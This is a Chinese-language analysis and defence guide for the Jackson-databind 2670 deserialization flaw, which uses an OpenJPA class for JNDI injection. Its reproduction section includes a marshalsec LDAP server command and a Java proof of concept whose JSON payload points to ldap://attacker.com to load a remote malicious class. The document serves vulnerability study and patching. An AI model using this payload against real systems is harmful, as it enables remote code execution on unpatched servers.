Jackson-databind-2670远程代码执行漏洞简单分析
字数 1346 2025-08-25 22:58:29
Jackson-databind-2670远程代码执行漏洞分析与防御指南
1. 漏洞概述
Jackson-databind在GitHub上更新了一个新的反序列化利用类org.apache.openjpa.ee.WASRegistryManagedRuntime,该漏洞编号为2670。这个类绕过了之前Jackson-databind维护的黑名单类,导致远程代码执行风险。
2. 影响范围
受影响版本:
- Jackson-databind < 2.9.10.4
受影响环境:
- 项目中包含openjpa-all库
- JDK版本较低的环境
3. 漏洞原理分析
3.1 漏洞本质
该漏洞仍然是JNDI注入类型,通过反序列化过程中调用危险方法实现远程代码执行。
3.2 漏洞调用链
完整的漏洞利用调用链如下:
WASRegistryManagedRuntime -> RegistryManagedRuntime -> setRegistryName -> getTransactionManager -> lookup
3.3 关键类分析
-
org.apache.openjpa.ee.WASRegistryManagedRuntime
- 漏洞利用的入口类
- 继承了RegistryManagedRuntime
- 绕过了之前的黑名单限制
-
org.apache.openjpa.ee.RegistryManagedRuntime
- 父类,已存在于黑名单中
- 包含关键方法:
getTransactionManager():调用lookup方法setRegistryName():设置_registryName变量
3.4 反序列化机制
漏洞利用需要调用mapper.enableDefaultTyping(),当不带参数调用时,会设置DefaultTyping为OBJECT_AND_NON_CONCRETE。
DefaultTyping的四种选项:
JAVA_LANG_OBJECT:当对象属性类型为Object时生效OBJECT_AND_NON_CONCRETE:当对象属性类型为Object或者非具体类型(抽象类和接口)时生效NON_CONCRETE_AND_ARRAYS:同上,另外所有的数组元素的类型都是非具体类型或者对象类型NON_FINAL:对所有非final类型或者非final类型元素的数组
4. 漏洞复现
4.1 复现环境准备
-
使用marshalsec监听LDAP服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xxx.com:8787/#hello 1399 -
启动HTTP服务托管恶意class文件:
python -m SimpleHTTPServer 8787
4.2 复现代码示例
// 示例代码结构(需根据实际情况调整)
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 启用DefaultTyping
// 构造恶意序列化数据
String json = "[\"org.apache.openjpa.ee.WASRegistryManagedRuntime\", {\"registryName\":\"ldap://attacker.com:1399/Exploit\"}]";
// 触发反序列化
mapper.readValue(json, Object.class);
5. 漏洞防御措施
5.1 官方修复方案
-
升级Jackson-databind到安全版本:
-
= 2.9.10.4
-
2.10.0
-
-
官方更新措施:
- 添加
org.apache.openjpa.ee.WASRegistryManagedRuntime到黑名单 - 注意:父类
org.apache.openjpa.ee.RegistryManagedRuntime早已在黑名单中
- 添加
5.2 其他防御建议
- 升级JDK到较高版本
- 避免在不必要的情况下使用
enableDefaultTyping() - 使用白名单机制替代黑名单机制
- 对反序列化过程进行严格限制
6. 漏洞启示
- 黑名单机制存在局限性,容易被绕过
- 反序列化操作应谨慎处理
- 依赖库应及时更新到安全版本
- 安全防御应采用纵深防御策略
7. 参考链接
- GitHub官方更新
- 相关CVE编号(如有)